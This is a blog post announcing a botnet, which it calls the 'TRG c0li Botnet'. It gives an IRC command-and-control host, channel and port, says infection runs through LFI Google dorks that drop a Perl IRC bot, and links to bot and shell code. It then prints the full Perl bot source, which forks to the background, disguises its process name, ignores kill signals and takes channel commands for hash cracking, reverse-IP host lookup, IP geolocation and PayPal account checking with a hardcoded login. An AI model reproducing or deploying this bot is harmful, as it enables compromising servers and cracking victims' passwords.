TRG c0li Botnet ~ cracked private fud crypter
skip to main |
skip to sidebar
Posted in:
TRG - c0li Botnet -
1. -----BEGIN PGP SIGNED MESSAGE----- 2. Hash: RIPEMD160 3. 4. We, the TRG, presents a random botnet C&C 5. 6. Host: irc.c0li.net 7. Channel: #linux 8. Port: 54321 9. MOA: LFI google dork to dropping a perl irc bot 10. Bot: http://pastebin.com/pCajmCUq 11. Shell: http://pastebin.com/1pbCEQ5A 12. Website: http://c0li.blogspot.com 13. 14. -----BEGIN PGP SIGNATURE----- 15. Version: GnuPG v2.0.17 (MingW32) 16. 17. iQIcBAEBAwAGBQJP0pvIAAoJEFydt9HxKF6qKMcP/i5Cq3nR0tjYP/2f9Ghjuj6n 18. 8SknPm+QhYQkhehygfMydanthd6owZC6jnWAa30QPtxWEuSIdOVSpy38wQpb+9sQ 19. JBEUabvFnFcXWChV3OsKK++VqqPyM/7F4GJM8syXogtFY0zLTjMxW1+WZF8QD7pe 20. W/WGyjMdWIdJNtPv/W4yxylhd5WVwS3kHyPx51Es4xVDSQg5z1FQsh/DQ6yqsl2k 21. wvdpxGwJtJMU/p/gJlvfnnedYY6r8oZqHc9wrCjyVeBvsv8VNKf6ZKLcwJbGkanG 22. ZTIWEUCA0zzR3/PGICuO5P6QiUasM2nhdg9eLCCrSlk1mezZSEuuwiZdfC6et37o 23. lj3fhaLso/5fe2HoV61FDqZIaPPi1bbVOgCmrAuHyGbiZoP06a9Wo0UZ4XZFWZVb 24. 33O5LRfxHdszJr919y1ceb8ves5VBgH/Z6qJEcejIUpotAVZqozJu9BD0mL56MKP 25. tDR4epX0qJXGq4pIYN4W0r8mUxXyyHb/elOaixlMlud7Tkls40TcSZ18eMFfrq72 26. sAv2MiMo8PJC4A4cIpDeu+aILjoxmR+oN2a3gzWqIS4dC7kWfUr/sM7UfB0aJPJl 27. 4JzT9MaqNZIeKhUtuTSjcVTcxbYQ0Bm56nXlJYdDSymzG+JzW8MakgzaydflxSkM 28. fsDCzs4cCeeiRWSkt21I 29. =Xyvr 30. -----END PGP SIGNATURE-----
-----BEGIN PGP SIGNED MESSAGE-----Hash: RIPEMD160
#!/usr/bin/perl
use HTTP::Request::Common qw(POST);use LWP::UserAgent;use IO::Socket;use IO::Select;use Socket;
my $fakeproc = $ARGV[6];$ircserver = $ARGV[0] unless $ircserver;my $nickname = $ARGV[2];my $ident = $ARGV[3];my $channel = '#'.$ARGV[4];my $runner = $ARGV[5];my $fullname = '15(7@2Hash Cracker15)';my $ircport = $ARGV[1];
my $encrypt = '!enc';my $decrypt = '!dec';my $zipcmd = '!zip';my $ipcmd = '!ip';
my $success = "\n [+] Hash Cracker v2.0\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n\n";my $failed = "\n [?] perl $0 <irchost> <port> <nick> <ident> <chan> <runner> <fakeproc>\n\n";
if (@ARGV != 7) { print $failed; exit(); } else { print $success; }
$SIG{'INT'} = 'IGNORE';$SIG{'HUP'} = 'IGNORE';$SIG{'TERM'} = 'IGNORE';$SIG{'CHLD'} = 'IGNORE';$SIG{'PS'} = 'IGNORE';
chdir("/");$ircserver="$ARGV[0]" if $ARGV[0];$0="$fakeproc"."\0"x16;;my $pid=fork;exit if $pid;die "Something Wrong !!!: $!" unless defined($pid);
our %irc_servers;our %DCC;my $dcc_sel = new IO::Select->new();$sel_client = IO::Select->new();
sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; }}
sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1); $sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep 1; }}
sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001"); } if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$mynick|".int rand(999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $nickname +Bx"); sendraw("JOIN $channel"); sendraw("PRIVMSG $channel :TempSys md5"); sendraw("PRIVMSG $runner :Hi $runner im here !!!"); }}
my $line_temp;while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg);$msg =~ s/\r\n$//;
if ($msg=~ /PRIVMSG $channel :!help/){ sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15)7 $encrypt <text> | $decrypt <hash> | $zipcmd> <us-zipcode> | $ipcmd <ip/host> | !host <ip/host> | !power | !about ");}
if ($msg=~ /PRIVMSG $channel :!power/){ sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 MD5 : md5_64bit, md5_128bit, md5(md5_lcase) \& md5(md5_Ucase)"); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 Sha1 : sha1_160bit"); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 MySQL : MySQL_64bit \& MySQL_160bit");}
if ($msg=~ /PRIVMSG $channel :!about/){ sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)12 Hash Cracker v1.3"); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)12 Coded by VopCrew");}
if ($msg=~ /PRIVMSG $channel :!pid/){ sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$");}
##################################################################### PassCracking.Com Hash Engine - Hash 2 Textif ($msg=~ /PRIVMSG $channel :$decrypt\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $hash = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 Trying to Crack7 ".$hash." 12...");my $cracker = "http://passcracking.com/index.php";my ($useragent,$request,$response,%form);undef %form;$form{datafromuser} = $hash;$useragent = LWP::UserAgent->new;$useragent->timeout(10);$request = POST $cracker,\%form;$response = $useragent->request($request);if ($response->is_success) { my $res = $response->content; if ($res =~ m/([0-9])<\/td><td>(.*)<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*)<\/td><td>(.*)<\/td><\/tr><tr align=center onMouseOver=/g) { my ($type,$result) = ($2,$3); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [$type]4 ".$hash." 12->3 ".$result); } elsif ($res =~ m/([0-9])<\/td><td>(.*)<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*)<\/td><td>/g) { my ($type,$result) = ($2,$3); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [$type]4 ".$hash." 12->3 ".$result); } elsif ($res =~ m/([0-9])<\/td\><td>(.*)<\/td><td>$hash<\/td><td >[ not found ]/g) { my $type = $2; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [PassCracking]7 [$type]4 ".$hash." 12not found."); } elsif ($res =~ m/Thanks for NEW pass/g) { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [PassCracking]7 ".$hash." 12is unknown hash."); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [PassCracking]7 ".$hash." 12not found."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open PassCracking.cOm"); }}exit;}}
##################################################################### GDataOnline.com MD5 Engine - Md5 2 Textif ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $hash = $1;my $cracker = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;my $request = HTTP::Request->new(GET=>$cracker);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response = $useragent->request($request);if ($response->is_success) { my $res = $response->content; if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) { my $result = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [GDataOnline]4 ".$hash." 12->3 ".$result); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [GDataOnline]4 ".$hash." 12not found."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open GDataOnline.cOm"); }}exit;}}
##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Textif ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $hash = $1;my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;my $request = HTTP::Request->new(GET=>$cracker);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response = $useragent->request($request);if ($response->is_success) { my $res = $response->content; if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) { my $result = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [RedNoize]4 ".$hash." 12->3 ".$result); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [RedNoize]4 ".$hash." 12not found."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open Md5.RedNoize.cOm"); }}exit;}}
##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hashif ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $teks=$1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Trying to encrypt7 ".$teks." 12...");my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;my $request = HTTP::Request->new(GET=>$hashing);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response = $useragent->request($request);if ($response->is_success) { my $res = $response->content; if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) { my ($md5,$sha1,$base64) = ($1,$2,$3); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 MD5 :4 ".$teks." 12->3 ".$md5); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Sha1 :4 ".$teks." 12->3 ".$sha1); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Base64 :4 ".$teks." 12->3 ".$base64); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open c0li.m0de.0n"); }}exit;}}
##################################################################### www.myipneighbors.com - DOTESTBED HOSTED SCANNERif ($msg=~ /PRIVMSG $channel :!host\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $ipaddr = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Dotestbed in7 ".$ipaddr." 12Host ...");my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";my $res = getcontent($hashing);while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) { my $dns1 = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$dns1); sleep(2);}while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) { my $dns2 = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$dns2); sleep(2);}if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) { if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) { $mydns = $1; sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$mydns); } else {
sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 7->4 Bad Dotestbed."); }}sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Listing of Dotestbed in4 ".$ipaddr." 12is Done.");}exit;}}
##################################################################### US ZIP Lookup www.ZIPInfo.comif ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $zip = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Looking up7 ".$zip." 12ZIP Code ...");my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";my $request = HTTP::Request->new(GET=>$website);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response = $useragent->request($request);if ($response->is_success) { my $res = $response->content; if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) { my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 City Name :3 ".$city.""); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 State Code :3 ".$state.""); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 ZIP Code :3 ".$zipcode.""); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 County Name :3 ".$county.""); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Area Code :3 ".$area.""); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)7 $zip 4is not a valid ZIP code."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Cannot open www.ZIPInfo.com"); }}exit;}}
##################################################################### IP Location - www.ipligence.comif ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $ip = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Searching7 ".$ip." 12Location ...");my $website = "http://www.ipligence.com/geolocation";my ($useragent,$request,$response,%form);undef %form;$form{ip} = $ip;$useragent = LWP::UserAgent->new;$useragent->timeout(10);$request = POST $website,\%form;$response = $useragent->request($request);if ($response->is_success) { my $res = $response->content; if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) { my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 IP Address :3 ".$ipaddress.""); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 City :3 ".$city.""); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Country :3 ".$country.""); sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Continent :3 ".$continent.""); } else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)7 $ip 12-> 4Invalid address or IP not found."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Cannot open www.ipligence.com"); }}exit;}}
for (my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } }}
}}
sub nick { return unless $#_ == 0; sendraw("NICK $_[0]");}
sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]");}
sub getcontent() { $url = $_[0]; my $req = HTTP::Request->new(GET => $url); my $ua = LWP::UserAgent->new(); $ua->timeout(10); my $response = $ua->request($req); return $response->content;}##################################################################### PP Checking
if($msg{'what'} =~ /\!chkpp (.*)/) { my ($ppchek) = ($1);chop($ppchek); &respond_to_privmsg(\%msg,"15[7CHECKiNGPAYPAL15] CHECKiNG... -$ppchek- ");print "inizio mechanize\n";my $agent = WWW::Mechanize->new( autocheck => 1 );my $formfiller = WWW::Mechanize::FormFiller->new();$agent->env_proxy();$agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.''); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(3); { local $^W; $agent->current_form->value('login_email', 'otntguzuhj@mailinator.com'); }; { local $^W; $agent->current_form->value('login_password', 'kernel747'); }; $agent->submit(); $agent->follow_link('n' => 7); print $agent->content,"\n";my $internal=$agent->content; &respond_to_privmsg(\%msg,"Email - ${ppchek} - ");if ($internal =~/is NOT PayPal Verified/){ &respond_to_privmsg(\%msg,"PaypaL - is - 04UnVerified ");}if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){ &respond_to_privmsg(\%msg,"PaypaL - is - 03Verified ");}}-----BEGIN PGP SIGNATURE-----Version: GnuPG v2.0.17 (MingW32)
iQIcBAEBAwAGBQJP0pofAAoJEFydt9HxKF6qaVcP+wfyV2ZWaw6Mtz74ZKjfHs8KijflTKWrKBGzkPEFL2KiVKsOxvOA0ypVnfxQthyCIeWwhXClWL0z1iyUTqch2muw7cSrxbNzlDe4GLU+4hDS3Q8FbjYg1ZbnR89Cf8XjMu+l7Bgwd+qgOZQqIE/fopr/TK8tSNa6t8iJ4q1fXh5DLtHviRyiVX8WUa+HVQWJFvhcMb7WuakA8j3fuSuzCwcNuZQQm1XNuQivuDcNZfnR9hEmBot0PpDtu96IeKaFncEHrNkqaVc4+kJT5RyDSDDftHv1BYUbvuc9P25/NQY2t9+QaBBK1oqvWTnmzYBUc/8X6Z/pLiU6win9Hnwv+w1loX164Tk5XBAQ6AAlJkVkr9DJJdLCAhgwdD2RU0NYK9a0LBaof83qynKXqBYEYXcJy4TG/w6vNIWQM2e3U1fb+0Udihp6Z6h0dJLPdzm2Aqij7irNCA1kKHRSsUHniImDrKNcMmCovKhBU9fs88YwSNrJHO+knCf4xndB9KMzB98yPxwJXfSO7/Da0I8q/ScnsG3foYZEk+I3e5KieKws2TXtPaq0W08LsD7LJUKBma7xkJ5ejbV6xW0teX18pxKe2j6lsQ/H/11kvgrtu3rX48uSIQ5bcNH3s9khemipd9IHDXTgimU9myQ27vk7fPqHlP4jKjvjFWWo/cYzjEow=2wgJ-----END PGP SIGNATURE-----
Written on : 19:12
0 comments:
Post a Comment